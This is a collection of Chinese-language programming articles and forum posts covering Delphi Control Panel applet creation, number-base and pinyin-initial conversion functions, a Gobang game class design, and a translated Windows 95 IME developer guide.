---- 第一步：选择File | New菜单，在New Items对话框的New页上选择Control Panel Application，Delphi将创建一个新的控制面板应用程序（其中已经包含一个applet）。Delphi向导创建的工程文件如下：

library Project1;

uses

CtlPanel,

Unit1 in 'Unit1.pas'

{AppletModule1: TAppletModule};

exports CPlApplet;

{$R *.RES}

{$E cpl}

begin

Application.Initialize;

Application.CreateForm

(TAppletModule1, AppletModule1);

Application.Run;

end.

---- 在上面的DPR文件中，Application对象的类型是TAppletApplication，而不是TApplication，它是在CtlPanel单元中申明的。而且CplApplet函数也已经由CtlPanel单元定义好了。

---- 第二步：更改AppletModule的属性

---- 一个AppletModule对象代表一个对话框（即applet），一个CPL应用程序可以包含多个对话框。你可以通过Delphi向导来增添多个AppletModule。

---- AppletIcon属性：指定一个图标，此图标将出现在控制面板中。

---- Caption属性：显示在图标下面的文字。

---- Help属性：出现在控制面板窗口的状态栏上的文字。

---- ResidIcon属性：图标资源id，此属性与AppletIcon属性互斥。

---- ResidName属性：字符串资源id，此属性与Caption属性互斥。

---- ResidInfo属性：字符串资源id，此属性与Help属性互斥。

---- 第三步：编写事件句柄

---- 在控制面板中，当鼠标双击对话框的图标时，相应的AppletModule对象会产生OnActivate事件。为了响应鼠标的双击，你需要为TAppletModule的OnActivate事件属性提供一个事件句柄。

procedure TAppletModule1.

AppletModuleActivate(Sender:

TObject; Data: Integer);

begin

MessageBox(Application.ControlPanelHandle,

'Delphi 5 is so great!', 'CPL Demo',

MB_ICONINFORMATION);

end;

---- 第四步：CPL的安装

---- 由于动态连接库工程文件中有一个{$E cpl}编译指示字，编译此DPR文件将产生一个扩展名为.CPL的文件，它就是我们所要的控制面板应用程序模块。控制面板程序的安装十分简单，只要将CPL文件拷贝到Windows的System目录（或者Windows NT的System32目录）下即可。当你再次打开控制面板时，你所编写的控制面板应用程序就会出现。

***************************************

创建“控制面板”的新项目

2000-08-14 15:11:00

    当我们打开“控制面板”以后，能看到许多项目，如：系统、显示器等。不过，这些项目并非指向某些可执行的程序，其实，它们是一些特殊的动态链接库，在Windows里注册的类型是“控制面板扩展”，文件的扩展名是“CPL”。

    这种“控制面板扩展”与普通动态链接库（DLL）类似，但必须符合以下的要求：

    1.该动态链接库必须输出一个CplApplet函数，这个函数包含了一些消息，函数的原型如下：

    function CPlApplet(hwndCPL: HWND; uMsg: UINT;

    lParam1: LPARAM; lParam2: LPARAM): LongInt; stdcall;

    2.该动态链接库的扩展名是“CPL”，位于Windows的系统目录下，通常是“”；

    3.函数CplApplet必须处理的消息包括：CPL-INIT、CPL-GETCOUNT、CPL-NEWINQUIRE、CPL-DBLCLK等:

    CPL-INIT：表示程序被（控制面板）发现，返回True或False表示是否继续进行下去。

    CPL-GETCOUNT：确定程序在控制面板中显示的个数，返回值为显示的个数。

    CPL-NEWINQUIRE：用于填写程序的信息。

    CPL-DBLCLK：当图标被双击时触发，这时可以显示一个Form。

    在Delphi中新建一个工程，选择“DLL”，Delphi就会自动创建一个动态链接库的框架，先把这个工程存为“myCPL.dpr”，然后新建一个Form，保存为main.pas。

    myCPL.dpr的内容如下：

    library mycpl;

    uses

     Windows,

     SysUtils,

     CPL,

     Forms,

     main in ′main.pas′ {MainForm};

    {＄E cpl}　　//表示扩展名是CPL

    {＄R ＊.res}

    function CPlApplet(hwndCPL: HWND; uMsg: UINT;

     lParam1: LPARAM; lParam2: LPARAM) : LongInt; stdcall;

    var

     pNewInfo: PNewCPlInfo;

    begin

     case uMsg of

        CPL-INIT:

        begin

     Result := 1;

    end;

    CPL-GETCOUNT:

    begin

     Result := 1;

    end;

    CPL-NEWINQUIRE:

    begin

     pNewInfo:=PNewCPlInfo(lParam2);

     with pNewInfo^ do

     begin

        dwSize:=sizeof(TNewCPLInfo);

        dwFlags:=0;

     StrPLCopy(szName,′新建项目′, 31);

     StrPLCopy(szInfo, ′我的选项′, 63);

     end;

    end;

    CPL-DBLCLK:

    begin

     with TMainForm.Create(Application) do

        ShowModal;

     Result:=0;

    end;

     end;

    end;

    exports

     CPlApplet;

    begin

    end.

    把编译好的mycpl.cpl拷贝到Windows的System目录下后，打开“控制面板”，你会发现多了一个“新建项目”，用鼠标选中，窗口的状态栏显示：“我的选项”。用鼠标双击，一个Form就显示出来，剩下的事情就不用多说了。

    以上程序在Windows 95、Delphi 4.0下运行通过。

    摘自《赛迪网》　杨勇/文

***************************************

利用dephi5编写控制面板程序

www.applevb.com

在windows中提供了一个控制面板窗口，一个控制面板窗口就象windows的控制中心。

在窗口中有诸如 “系统”、“多媒体”图标，通过双击这些不同的图标，就可以打开不

同的控制面板程序查看系统状况和对系统进行设置了。

如何在控制面板中添加自己的控制面板程序呢？首先来了解以下控制面板程序的原

理。一个控制面板程序就是一个动态连接库（dll）。在库文件中必须建立一个名称为

cplapplet的输出回调函数，在函数中加入对windows调用的响应代码，编辑成动态连接

库文件。库文件将库文件的扩展名改为cpl，然后将文件拷贝到 windows子目录

下，系统在启动时会自动搜索扩展名为cpl的文件。搜索到文件之后，系统会装入文件

并调用cplapplet函数，这时函数中的代码就开始工作，执行弹出系统设置窗口等操作。

是不是很复杂，你必须对于系统调用dll的工作原理和回调函数有比较深刻的了解

才能编写控制面板程序，而且必须无法在编程软件的集成窗口中调试，而必须先编译

好以后拷贝到 windows目录下观察运行效果，然后再对源程序除错，再编译。

幸好在delphi5中提供了方便建立控制面板程序的方式。在delphi5的菜单中选

file | new ，在new items窗口中会看到有一个 control panel application 选项，

点击这个选项，然后再按ok键，就可以建立一个基本的控制面板程序。在这个程序的

工程文件包中包含两个文件，一个是工程文件 project1.dpr。按ctrl+f12打开

view units窗口打开project1，可以看到代码的第一行是library project1; ，另外

在代码中还有一行：exports cplapplet; ，这说明程序已经自动建立了输出回调函数。

另一个文件是控制面板程序控制文件（姑且这么称呼它）unit1.pas。这个程序代码

中建立了一个tappletmodule类，这个类就是控制面板程序控制类。同时程序还会建立

一个调试、控制窗口appletmodule1。在窗口左边的列表框中有一项 appletmodule1，

右键点击该项，在弹出菜单中选install control panel applet项编译并安装控制面板

程序。如果安装成功，再右键点击appletmodule1，在弹出菜单中选launch control

panel运行控制面板。怎么样？在控制面板中是不是增加了一个 appletmodule1项？

当然，现在这个程序还很简单，没有漂亮的图标，双击它也没有反应，在下面我就要

介绍对这个程序的扩展。

首先要让它响应鼠标的双击。首先按shift+f12键，在view form窗口中选择appletmodule1

打开调试、控制窗口。在窗口左边的object inspector中点击events页面，在events列表

中的第一项就是onactive事件，你也许猜到了，对，这个事件就是控制面板程序被激活

（也就是你双击控制面板中的程序图标时发生的事件）时产生的事件。

下面来编写代码响应事件。在delphi菜单中选 file | new，在new items窗口中选

form项添加一个新的窗口。将文件保存为unit2.pas，然后在unit1.pas中添加

uses unit2; （该句要添加在implementation后面），在events列表中双击onactive

事件，在事件中添加如下代码：

procedure tappletmodule1.appletmoduleactivate(sender: tobject;

data: integer);

begin

with tform2.create(application) do begin

if showmodal = mrok then

free;

end;

end;

最后记住将project1中的application.createform(tform2, form2); 行给删除掉。

接下来设置程序图标，点击appletmodule1的object inspector窗口，点击properties

页面，选appleticon项，就可以为控制面板程序添加图标了。改变caption项的值就可以为

程序设置不同的标题。

图标和程序标题设置好以后，再重复上面的install control panel applet编译并

安装程序，然后再选launch control panel运行。双击新建立的程序图标，看看，建立

一个控制面板程序就是这么简单！

当然，这只是一个最简单的控制面板程序，它只是响应onactive事件并弹出一个窗口，

在onactive事件中的data是一个比较重要的参数，它是控制面板程序调用程序传递给程序

的参数，利用这个参数可以对不同的调用弹出不同的窗口，例如你要建立一个时间/日期

调整控制程序，你可以做以下代码：

procedure tappletmodule1.appletmoduleactivate(sender: tobject;

data: integer);

begin

with tform2.create(application) do begin file://以下是伪代码：

case data of

1:dochangetime; file://显示改变系统时间窗口

2:dochangedate; file://显示改变系统日期窗口

end;

end;

end;

这样当外部程序以不同的参数调用程序时，程序能弹出不同的窗口，例如 rundll32 app.cpl 1

就将弹出改变系统时间窗口。


进制转换
HexToBin()十六进制转换二进制

BinToHex()二进制转换十六进制

IntToHex()

StrToInt() 要求在字符串前面添加$即可！

把一个整数变成二进制字符串

function IntToBinaryStr(TheVal: LongInt): string;

var

counter: LongInt;

begin

{This part is here because we remove leading zeros. That

means that a zero value would return an empty string.}

if TheVal = 0 then begin

result := '0';

exit;

end;

result := '';

counter := $80000000;

{Suppress leading zeros}

while ((counter and TheVal) = 0) do begin

counter := counter shr 1;

if (counter = 0) then break; {We found our first "1".}

end;

while counter > 0 do begin

if (counter and TheVal) = 0 then result := result + '0'

else result := result + '1';

counter := counter shr 1;

end;

end;

// Binary to Integer

function BinToInt(Value: string): Integer;

var

i, iValueSize: Integer;

begin

Result := 0;

iValueSize := Length(Value);

for i := iValueSize downto 1 do

if Value[i] = '1' then Result := Result + (1 shl (iValueSize - i));

end;

// Integer to Binary

function IntToBin(Value: Longint; Digits: Integer): string;

var

i: Integer;

begin

Result := '';

for i := Digits downto 0 do

if Value and (1 shl i) <> 0 then

Result := Result + '1'

else

Result := Result + '0';

end;

十六进制转换二进制

function HexToBin(Hexadecimal: string): string;

const

BCD: array [0..15] of string =

('0000', '0001', '0010', '0011', '0100', '0101', '0110', '0111',

'1000', '1001', '1010', '1011', '1100', '1101', '1110', '1111');

var

i: integer;

begin

for i := Length(Hexadecimal) downto 1 do

Result := BCD[StrToInt('$' + Hexadecimal[i])] + Result;

end;

八进制和十进制的转换：

function OctToInt(Value: string): Longint;

var

i: Integer;

int: Integer;

begin

int := 0;

for i := 1 to Length(Value) do

begin

int := int * 8 + StrToInt(Copy(Value, i, 1));

end;

Result := int;

end;

function IntToOct(Value: Longint; digits: Integer): string;

var

rest: Longint;

oct: string;

i: Integer;

begin

oct := '';

while Value <> 0 do

begin

rest := Value mod 8;

Value := Value div 8;

oct := IntToStr(rest) + oct;

end;

for i := Length(oct) + 1 to digits do

oct := '0' + oct;

Result := oct;

end;


获取一个汉字的拼音首字
/////////////////////////////////////////////////////////////////////////////

// FileName: PY.pas

//

// Copyright (C) 1999 By Zhang Qing

//

// You can use and modify it ,but please send me an email.

//

// E-Mail: zhangqing@bbook.net

/////////////////////////////////////////////////////////////////////////////

unit PY;

interface

uses sysutils;

// 获取汉字的拼音首字符,这个函数将用在GetPYIndexStr 中.

function GetPYIndexChar(strChinese: string; bUpCase: Boolean = True): char;

// 获取多个汉字的拼音首字符组成的字符串.

function GetPYIndexStr(strChinese: string; bUpCase: Boolean = True): string;

implementation

////////////////////////////////////////////////////////////////////////////

// 函数: GetPYIndexChar(strChinese: string;bUpCase: Boolean = True): char;

//

// 函数功能:获取汉字的拼音首字符.

// 例: GetPYIndexChar('程') 将返回'C'.

//

// 注意:对于多于一个汉字的输入(string类型)只有第一个有效,但不会产生错误

// 例如,GetPYIndexChar('程序')也将返回'C'.

//

// 第二个参数决定返回大写还是小写 , 缺省为大写 .

////////////////////////////////////////////////////////////////////////////

function GetPYIndexChar(strChinese: string;bUpCase: Boolean = True): char;

begin

// 根据汉字表中拼音首字符分别为“A”至“Z”的汉字内码范围，

// 要检索的汉字只需要检查它的内码位于哪一个首字符的范围内，

// 就可以判断出它的拼音首字符。

case WORD(strChinese[1]) shl 8 + WORD(strChinese[2]) of

$B0A1..$B0C4 : result := 'A';

$B0C5..$B2C0 : result := 'B';

$B2C1..$B4ED : result := 'C';

$B4EE..$B6E9 : result := 'D';

$B6EA..$B7A1 : result := 'E';

$B7A2..$B8C0 : result := 'F';

$B8C1..$B9FD : result := 'G';

$B9FE..$BBF6 : result := 'H';

$BBF7..$BFA5 : result := 'J';

$BFA6..$C0AB : result := 'K';

$C0AC..$C2E7 : result := 'L';

$C2E8..$C4C2 : result := 'M';

$C4C3..$C5B5 : result := 'N';

$C5B6..$C5BD : result := 'O';

$C5BE..$C6D9 : result := 'P';

$C6DA..$C8BA : result := 'Q';

$C8BB..$C8F5 : result := 'R';

$C8F6..$CBF9 : result := 'S';

$CBFA..$CDD9 : result := 'T';

$CDDA..$CEF3 : result := 'W';

$CEF4..$D188 : result := 'X';

$D1B9..$D4D0 : result := 'Y';

$D4D1..$D7F9 : result := 'Z';

else

result := char(0);

end;

if not bUpCase then

begin // 转换为小写

result := Chr(Ord(result)+32);

end;

end;

////////////////////////////////////////////////////////////////////////////

// 函数: GetPYIndexStr(strChinese: string;bUpCase: Boolean = True): string;

//

// 函数功能:获取多个汉字的拼音首字符组成的字符串.

// 例: GetPYIndexStr('程') 将返回'C'.

// GetPYIndexStr('程序')将返回'CX'.

//

// 第二个参数决定返回大写还是小写 , 缺省为大写 .

////////////////////////////////////////////////////////////////////////////

function GetPYIndexStr(strChinese: string;bUpCase: Boolean = True): string;

var

strChineseTemp : string;

cTemp : Char;

begin

result := '';

strChineseTemp := strChinese;

while strChineseTemp<>'' do

begin

cTemp := GetPYIndexChar(strChineseTemp);

if not bUpCase then

begin // 转换为小写

cTemp := Chr(Ord(cTemp)+32);

end;

result := result + string(cTemp);

strChineseTemp := Copy(strChineseTemp,3,Length(strChineseTemp));

end;

end;

end.


关于五子棋的讨论
回复人：　San_Daniel(丹少爷)　(2001-8-28 19:52:14) 得0分

这是我前一段写的文档，参考一下吧

3 总论

这个项目的开发目标是一个ActiveX控件，因而整个项目的核心是如何构造一个

符合ActiveX标准的类，使之能够完成需求分析书给定的功能。我们把最终提供

的产品类命名为 GobangGame，由它的名称可以看出，该类描述的是“五子棋游

戏”这一类事物。

现实生活中的经验告诉我们，一场五子棋游戏由以下几个要素构成：

两名游戏者，他们分别执黑、白棋

一名裁判，负责裁定比赛的胜负，以及适时的开始和结束比赛

一套具体规则，供裁判作为判定的依据

一个五子棋盘

两盒棋子

游戏者在游戏中的作用是在棋盘上落子，我们用一个抽象类Player来描述游戏者

的角色，它的主要接口方法如下：

playAStep():在棋盘上下一颗子

setSide():指定游戏者执黑或执白

对于计算机游戏者而言，落子之前要根据棋盘的形势，决定落子位置，然后完

成自己的任务--在棋盘上落子。而对于“真人”游戏者而言，事实上是用户的代

理，他应该按照用户的指示，在棋盘上指定位置处落子。这两类游戏者都兼容游

戏者的接口，并且在具体动作上有所区别，因而我们设计Player的两个子类

Computer和LocalUser，它们对Player有不同的扩展。

Computer

setAILevel():指定人工智能等级

LocalUser

setCommand():命令游戏者在指定位置处落子

至此，我们完成了对游戏者的描述，这时，应当注意到，裁判事实上也是一类特

殊的游戏者，但是他在游戏中所起的作用是判定胜负和控制比赛，有理由使他也成

为Player的一个子类，这时，我们修改Player抽象类的方法playAStep()，赋予它一个更

贴切的名称：act()每一个游戏者在游戏中轮流有act的机会，当裁判act的时候，他将

判断棋局，决定是否宣布某人获胜，或者因为某种原因中止比赛。而游戏者act的时

候可以选择在棋盘上落子或者干点别的。

很容易注意到，在上述抽象分析中，我们给予了五子棋组件最大的灵活性，可以

方便的对Player抽象类派生产生新的游戏者类型。

五子棋盘和棋子我们从简化程序的考虑，将它们合为一体，这套器具我们抽象为

一个抽象类ChessInfo，从这个命名中可以知道，对于棋局状况的记录也由这个类负

责。这样，ChessInfo中就必须包含已经走出的每一步棋，考虑到悔棋的需要，栈结

构是最合适不过的。这个抽象类的接口暂时做以下设计。

redraw()：重绘棋盘，包括已经落下的棋子

showMessage(): 显示信息

addAStep()：添加一步棋

removeLastStep()：移除最后一步棋

clear()：清除棋盘，清除对局状态

getPosStatus()：查询指定位置的状态，是否落子，落的是哪一方的子

接下来，我们考虑一个智能化的棋具，能够主动的对棋盘形势做出分析，进而对

游戏者提供一定的帮助，比如：重要形势的报警。这样，我们需要增加一个重要的

接口：

analyse()：分析棋局，提供参考数据

最后，我们考虑游戏规则，显然一套游戏规则要完成的唯一功能就是判定胜负，

因此我们设计一个抽象类Rule，接口如下：

judge()：判定一个棋局，是否有人获胜，以及谁因为什么原因获胜。

getRule()：查询一个具体的规则细则。

setRule()：设置一个具体的规则细则。

在上述分析过程中，我们得到这样一组类：

Player

Computer

LocalUser

Umpire

ChessInfo

Rule

而最终产品GobangGame将组合上述类对象，这时，注意观察可以发现，上面的类

结构已经超出了“五子棋”的范畴，它事实上可以描述大多数棋类游戏！这些棋类游

戏的的差别只在于规则，于是我们从Rule中派生出GobangRule，并从ChessInfo中派生

出GobangChessInfo，专门用于我们的五子棋。

GobangGame的接口在需求分析书中有详细的描述，在这场游戏中，GobangGame

扮演着联系用户和各类对象之间的桥梁作用，接收用户的输入，对内部对象发出请

求，再将结果反馈给用户，如此周而复始。

接下来，我们讨论这些类横向的关系。

首先，作为一个Player，无论他是电脑或是用户甚至于裁判，他必须知道规则，因

而在Player类中，应该存在一个Rule的引用。同时，他必须了解棋局的状态，所以在

Player类中，还应该有一个ChessInfo的引用。

其次，棋局状态与外部情况无关，不须要知道任何人的存在，所以这是一个相对

单纯的类。

最后，规则要判断一个棋局，必须与该棋局相识，所以对judge的调用应该传递一

个棋局作为参数。

在具体设计中，又注意到一个问题，ChessInfo中包含了绘制的方法，而考虑到最终

产品的移植性，不应该将平台相关的绘制操作与平台无关的分析操作混在一起，因

而引入Bridge(设计模式4.2)模式将两部分分离，设计另一个ChessPainter类族用于实现

具体绘图操作，并被ChessInfo组合，合作完成ChessInfo的设计目标。

以下，描述如何将上述类的对象组合成为一个完整的程序。

我们的最终产品是一个ActiveX控件，因而很自然的想到使用ATL来实现GobangGame类。

可是，由于COM/ActiveX标准是Windows平台上的标准，同时使用ATL会带来很多平台相

关的代码，不利于未来的移植，所以，我们考虑实现一个平台无关的GobangGame类

和一个ATL的GobangGameShell类，两个类的接口大体上一致，用GobangGameShell实现

一些平台相关的代码。并且用户的输入首先被GobangGameShell接收，然后委托

GobangGame完成处理。这样，对于一切支持PUSH式程序的平台，都可以写这样一个

接收消息的Shell，从而保证了GobangGame的纯洁性。

一个GobangGame对象如何与其他对象协同工作呢？首先，GobangGame创建一个棋局

对象（ChessInfo)，被所有参与游戏的游戏者共享。接下来创建两名游戏者(Player)，用

户对接口属性的控制决定了这两名Player的实际类型(Computer或是LocalUser）。下一步

创建一名特殊的“游戏者”--裁判（Umpire）。最后按照用户对接口属性的控制创建一

套规则（Rule）。游戏者、裁判都应该与棋局对象以及规则相识，这样，整套游戏创

建完毕。

注意，上面没有提到ChessPainter对象的创建过程，因为ChessPainter的子类将是平台

相关的，我们不应该在纯洁的GobangGame中提到它们的名字，因而，在不纯洁的

GobangGameShell中创建ChessPainter对象（与具体的子类相联系）是正确的选择。我们

应该在GobangGame中设置一个setChessPainter()接口，用于接收创建好的ChessPainter对

象，并使用它来初始化ChessInfo。

当所有对象都被创建并正确初始化后，GobangGame要做的事就是接收用户的控制

（包括输入事件和属性、方法调用）。这是一类典型的PUSH程序样式，一组消息处

理函数是必不可少的。大致罗列如下：

onStandardClick() 主键点击，我们把鼠标左键点击事件广义化为这个事件，这样它还

可以描述其他输入条件下的同类事件。

onExtraClick() 附加键点击，我们把鼠标右键点击事件广义化为这个事件。

onRun() 得到运行机会。这个事件应该尽可能频繁的发生，因为每个游戏者只有在

得到运行机会的时候才能完成自己的职责。GobangGameShell可以将它挂在诸如时钟

中断之类的位置上。


Windows 95输入法编辑器
vcmfc(超级菜鸟)　(2001-1-13 12:52:00) 得0分

老哥，找到一篇文章，如下：

Windows 95输入法编辑器（IME）

原著：Microsoft

翻译：TBsoft Software Studio

一、关于Windows 95混合语言IME

在Windows 95中，IME是一个动态链接库（DLL），与Windows 3.1远东版本IME不同的是，每一个运行的IME相当于混合语言键盘布局中的一种。与Windows 3.1 IME相比较，Windows 95混合语言IME提供下列增强功能：

●运行时相当于混合语言环境的一个部件

●为每一个应用程序任务提供多重输入上下文

●为每一个应用程序线程提供一个活动的IME

●通过应用程序消息循环给应用程序提供信息（消息顺序不能改变）

●为无IME支持应用程序和部分IME支持应用程序提供有力的支持

要得到全部的增强功能，应用程序需要支持Windows 95 IME应用程序I／F。

本文档描述了Windows 95 IME体系结构的应用程序I／F。

1、IME的结构

Windows 95 IME必须提供两个部件：IME转换接口和IME用户接口。IME转换接口由一组IME模块引出函数提供，这些函数被IMM（输入法管理器——译者注）调用。IME用户接口由一组窗口提供，这些窗口接收消息并提供IME的用户界面。

2、IME支持应用程序（IME感知应用程序——译者注）

应用程序有下列类型：

●无IME支持应用程序：这种应用程序不控制IME，然而，如果应用程序接受DBCS字符，用户可以通过IME在应用程序中输入DBCS字符。

●部分IME支持应用程序：这种应用程序只控制不同的IME上下文，例如打开和关闭IME、写作窗口等等，但是不重新显示任何IME用户界面。

●完全IME支持应用程序：这种应用程序负责管理通过IME显示给应用程序的任何信息。

在Windows 95中，一个无IME支持应用程序有一个缺省的IME窗口和一个缺省的输入上下文。

部分IME支持应用程序使用预定义的“IME”类创建自己的IME窗口，可以管理或者不管理自己的输入上下文。

完全IME支持应用程序自己管理输入上下文，显示输入上下文给出的任何需要的信息，不使用IME窗口。

二、IME用户界面

IME用户界面包括IME窗口、用户界面（UI）窗口以及UI窗口的部件。

1、特征

IME类是实现IME用户界面部分的预定义全局窗口类。“IME”类与预定义的公共控制窗口类有许多相同的特点，IME窗口实例与静态控制一样通过CreateWindowEx函数创建，IME类窗口自己不响应用户输入，取而代之的是接收不同类型的控制消息实现全部IME用户接口。应用程序可以使用IME类创建自己的IME窗口，还可以使用ImmGetDefaultIMEWnd函数获取缺省IME窗口。创建自己的IME窗口或者使用缺省IME窗口的应用程序被称为IME支持应用程序，具有以下优点（与对应的Windows 3.1应用程序比较）：

●包括候选字列表窗口（候选窗口），每一个应用程序可以有自己的用户界面窗口实例，使得用户可以在任何输入过程的中途停止并切换到另一个应用程序。在Windows 3.1日文版本中，用户切换到另一个应用程序是必须放弃当前输入过程。

●因为IME用户界面窗口包括应用程序窗口句柄，IME用户界面窗口可以为应用程序提供缺省行为。例如当应用程序移动时IME用户界面窗口自动移动，自动跟随窗口中的插入符号位置，为每一个应用程序标示模式等等。

即使系统仅仅只提供一个IME类，IME窗口仍然有两种类型。一种类型是系统为无IME支持应用程序创建的IME窗口，DefWindowProc函数为该窗口处理消息，DefWindowProc函数的IME用户接口被线程的所有无IME支持窗口共享，在文档中，这种窗口称为缺省IME窗口。另一种类型是IME支持应用程序创建的IME窗口，在文档中，IME支持应用程序创建的IME窗口称作应用程序IME窗口。

2、缺省和应用程序IME窗口

当线程初始化时系统创建缺省IME窗口，这就是说，线程自动获取缺省IME窗口。缺省IME窗口为无IME支持应用程序提供IME用户界面，当IME或者IMM生成一个IME消息（WM_IME_*）时，无IME支持应用程序传递该消息到DefWindowProc函数，DefWindowProc函数发送需要的消息到为应用程序提供缺省IME用户界面的缺省IME窗口。IME支持应用程序当不从IME获取消息时也可以使用缺省IME窗口，需要时可以使用自身的IME窗口。

3、IME类

IME类是Windows 95远东版本预定义的窗口类，就像Edit是预定义的窗口类一样。预定义的IME类实现全部的IME用户接口，处理所有来自IME和包含IMM函数的应用程序的消息，应用程序使用IME类创建自己的IME窗口。系统IME类不能被被任何IME替换。

窗口过程与IME类通过WM_IME_SELECT消息交互，该消息包括新选中的IME的键盘布局，IME类使用键盘布局查找到每一个IME定义的类名。使用类名，IME类为当前活动的IME创建IME用户界面窗口。

4、IME UI类

每一个IME必须向系统注册自己的用户界面（UI）类，UI类提供IME相关功能。当IME附加在进程上时IME注册自己的UI类，这就是说，当DLLEntry函数被调用DLL_PROCESS_ATTACH功能时，IME必须在对ImeInquire函数的调用过程中指定UI类名。UI类应该使用CS_IME窗口风格注册以使得每一个应用程序都可以使用UI类。UI类名（包括空终结符）可以使用16位的TCHAR字符，这个限制可能延续到Windows的未来版本。

当注册一个UI类时，应该指定8个字节的窗口附加数据（这就是说，设置WNDCLASSEX类的cbWndExtra成员的值为2*sizeof(LONG)），系统使用该窗口附加数据。

IME可以在为应用程序执行任务时注册任何类和创建任何窗口。

下面的实例显示了怎样注册IME窗口类：

BOOL WINAPI DLLEntry (

HINSTANCE hInstDLL,

DWORD dwFunction,

LPVOID lpNot)

{

switch (dwFunction) {

case DLL_PROCESS_ATTACH:

hInst= hInstDLL;

wc.style = CS_MYCLASSFLAG | CS_IME;

wc.lpfnWndProc = MyUIServerWndProc;

wc.cbClsExtra = 0;

wc.cbWndExtra = 2 * sizeof(LONG);

wc.hInstance = hInst;

wc.hCursor = LoadCursor( NULL, IDC_ARROW);

wc.hIcon = NULL;

wc.lpszMenuName = (LPSTR) NULL;

wc.lpszClassName = (LPSTR) szUIClassName;

wc.hbrBackground = NULL;

if(!RegisterClass((LPWNDCLASS)&wc))

return FALSE;

wc.style = CS_MYCLASSFLAG | CS_IME;

wc.lpfnWndProc = MyCompStringWndProc;

wc.cbClsExtra = 0;

wc.cbWndExtra = cbMyWndExtra;

wc.hInstance = hInst;

wc.hCursor = LoadCursor(NULL, IDC_ARROW);

wc.hIcon = NULL;

wc.lpszMenuName = (LPSTR) NULL;

wc.lpszClassName = (LPSTR) szUICompStringClassName;

wc.hbrBackground = NULL;

if(!RegisterClass((LPWNDCLASS)&wc))

return FALSE;

break;

case DLL_PROCESS_DETACH:

UnregisterClass(szUIClassName,hInst);

UnregisterClass(szUICompStringClassName,hInst);

break;

}

return TRUE;

}

5、UI窗口

IME类对应的IME窗口被应用程序或者系统创建，当IME窗口被创建时，IME自身提供的UI窗口被创建并被IME窗口所拥有。每一个UI窗口有一个当前的输入上下文，当UI窗口接收到IME消息（WM_IME_*）时，可以通过调用GetWindowLong函数和指定IMMGWL_IMC索引值查找到输入上下文，UI窗口可以根据输入上下文处理消息，UI窗口可以在除响应WM_CREATE消息以外的任何时间查找到输入上下文。

IME不允许改变UI窗口的窗口附加数据，如果UI窗口的某个实例需要窗口附加数据，可以使用IMMGWL_PRIVATE参数值调用SetWindowLong和GetWindowLong函数，IMMGWL_PRIVATE参数值提供为UI窗口的某个实例存取附加数据中LONG类型值的能力，如果需要大于LONG类型值的附加数据，可以保存一个内存块的句柄到IMMGWL_PRIVATE域。

UI窗口过程可以使用DefWindowProc函数，但是UI窗口不允许传递IME消息给DefWindowProc函数，即使某个IME消息没有被处理，UI窗口也不允许传递该消息给DefWindowProc函数。

LRESULT UIWndProc (HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)

{

HIMC hIMC;

HGLOBAL hMyExtra;

switch(msg){

case WM_CREATE:

// Allocate the memory bloack for the window instance.

hMyExtra = GlobalAlloc(GHND,size_of_MyExtra);

if (!hMyExtra)

MyError();

// Set the memory handle into IMMGWL_PRIVATE

SetWindowLong(hWnd, IMMGWL_PRIVATE, (LONG)hMyExtra);

.

.

.

break;

case WM_IME_xxxx:

// Get IMC;

hIMC = GetWindowLong(hWnd,IMMGWL_IMC);

// Get the memory handle for the window instance.

hMyExtra = GetWindowLong(hWnd, IMMGWL_PRIVATE);

lpMyExtra = GlobalLock(hMyExtra);

.

.

.

GlobalUnlock(hMyExtra);

break;

.

.

.

case WM_DESTROY:

// Get the memory handle for the window instance.

hMyExtra = GetWindowLong(hWnd, IMMGWL_PRIVATE);

// Free the memory block for the window instance.

GlobalFree(hMyExtra);

break;

default:

return DefWindowProc(hWnd, msg, wParam, lParam);

}

}

UI窗口必须在当前选定的输入上下文中执行动作，当一个窗口被激活时，UI窗口接收到提供当前输入上下文的消息，此后，UI窗口运行在当前选中的输入上下文上。输入上下文必须包括UI窗口显示写作窗口、状态窗口等需要的所有信息。

UI窗口要求输入上下文，但是窗口不必自己更新输入上下文。当UI窗口需要更新输入上下文时，应该调用IMM函数，因为输入上下文由IMM函数管理，当输入上下文更新时，IMM和IME接收到通知消息。

例如，有时UI窗口当鼠标单击时需要改变输入上下文的转换模式，为了设置转换模式，UI窗口调用ImmSetConversionMode函数，该函数为NotifyIME生成一个通知消息并发送WM_IME_NOTIFY消息到UI窗口，如果UI窗口改变转换模式的显示，UI窗口会等待处理WM_IME_NOTIFY消息。

6、UI窗口的部件

UI窗口可以根据输入上下文注册和显示写作窗口和状态窗口，UI窗口的部件类的窗口风格必须包括CS_IME。UI窗口的一个窗口实例从当前输入上下文接收例如写作字符串、字体、位置等信息，当应用程序的一个窗口获得焦点时，系统获取该窗口自己的输入上下文并将当前输入上下文传递给UI窗口，系统发送WM_IME_SETCONTEXT消息和输入上下文的句柄给应用程序，应用程序传递该消息给UI窗口。如果当前输入上下文被更新，UI窗口应该重新绘制写作窗口，无论何时输入上下文改变，UI窗口都应该显示正确的写作窗口，可以保证IME的状态。

UI窗口可以创建子窗口或者弹出式窗口显示状态、写作字符串或者候选字列表，这些窗口必须是UI窗口的附属窗口，而且必须创建为不可接收输入（Disable）窗口，任何IME创建的窗口都不应该获取焦点。

三、输入上下文

1、缺省输入上下文

缺省情况下系统给每个线程一个输入上下文，该输入上下文被线程的所有无IME支持窗口共享。

2、输入上下文与窗口的交互

应用程序的一个窗口可以使用窗口句柄与输入上下文交互以维护任何IME状态，包括中间写作字符串。一旦应用程序使得输入上下文与窗口句柄交互，无论何时窗口被激活，系统自动选中输入上下文。使用这个特点，应用程序可以轻松地完成Windows 3.1下必须的复杂切换处理。

3、使用输入上下文

当应用程序或者系统创建新的输入上下文时，系统准备新的输入上下文，新的输入上下文已经包括IMCC，这个IMC的部件由hCompStr、hCandInfo、hGuideLine、hPrivate和hMsgBuf组成。IME基本上不需要创建输入上下文和输入上下文的部件，不过IME可以改变它们的大小，可以通过锁定它们查找到部件的指针。

⑴存取HIMC

为了存取输入上下文，IME必须调用ImmLockIMC函数以查找到输入上下文的指针，ImmLockIMC函数给IMC增加imm锁定计数，ImmUnlockIMC函数减少之。

⑵存取HIMCC

为了存取输入上下文中的一个部件，IME必须调用ImmLockIMCC函数获取IMCC的指针，ImmLockIMCC函数给IMCC增加imm锁定计数，ImmUnlockIMCC函数减少之，ImmReSizeIMCC函数可以修改IMCC的大小以指定新的大小。

